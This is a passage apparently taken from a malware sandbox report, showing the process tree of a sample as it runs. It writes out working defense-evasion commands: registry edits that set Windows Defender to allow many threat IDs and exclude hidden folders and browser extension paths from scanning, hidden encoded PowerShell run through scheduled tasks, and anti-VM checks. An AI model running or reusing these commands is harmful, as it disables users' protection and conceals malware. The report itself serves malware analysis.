        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:584
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3416
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1408
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5168
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3664
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2480
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5284
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2192
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5412
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3860
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3632
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4220
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ggIHoExbf" /SC once /ST 01:47:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:6052
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "ggIHoExbf"
  2⤵
  PID:4612
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ggIHoExbf"
  2⤵
  PID:5360
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 09:58:56 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\YOGdvRB.exe\" aV /tchIdidvH 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:5284
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "yfARWRprRqUFWeTGf"
  2⤵
  PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:716
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:768

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
- Executes dropped EXE
PID:5820

C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4952

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5188

C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\YOGdvRB.exe
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\YOGdvRB.exe aV /tchIdidvH 385118 /S
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:5772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3480
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6024
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:3984
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5364
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5644
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:3676
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5548
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:2620
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5252
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1368
